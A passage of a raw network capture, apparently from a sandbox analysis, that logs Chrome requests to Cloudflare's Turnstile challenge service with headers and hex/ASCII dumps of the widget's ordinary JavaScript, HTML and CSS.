at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-15 19:08:04 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-15 19:08:04 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-15 19:08:04 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-15 19:08:04 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-15 19:08:04 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-15 19:08:04 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-15 19:08:04 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49750	104.18.95.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:05 UTC	825	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/a4vlz/0x4AAAAAAA45hULO7kC3Oxuo/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:05 UTC	1362	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 19:08:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26699 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-15 19:08:05 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 32 38 32 37 30 35 38 38 38 65 34 33 35 37 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 90282705888e4357-EWRalt-svc: h3=":443"; ma=86400
2025-01-15 19:08:05 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-15 19:08:05 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-15 19:08:05 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-15 19:08:05 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-15 19:08:05 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-15 19:08:05 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-15 19:08:05 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-15 19:08:05 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-15 19:08:05 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49751	104.18.95.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:05 UTC	383	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:05 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 19:08:05 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 90282705dfd44243-EWR alt-svc: h3=":443"; ma=86400
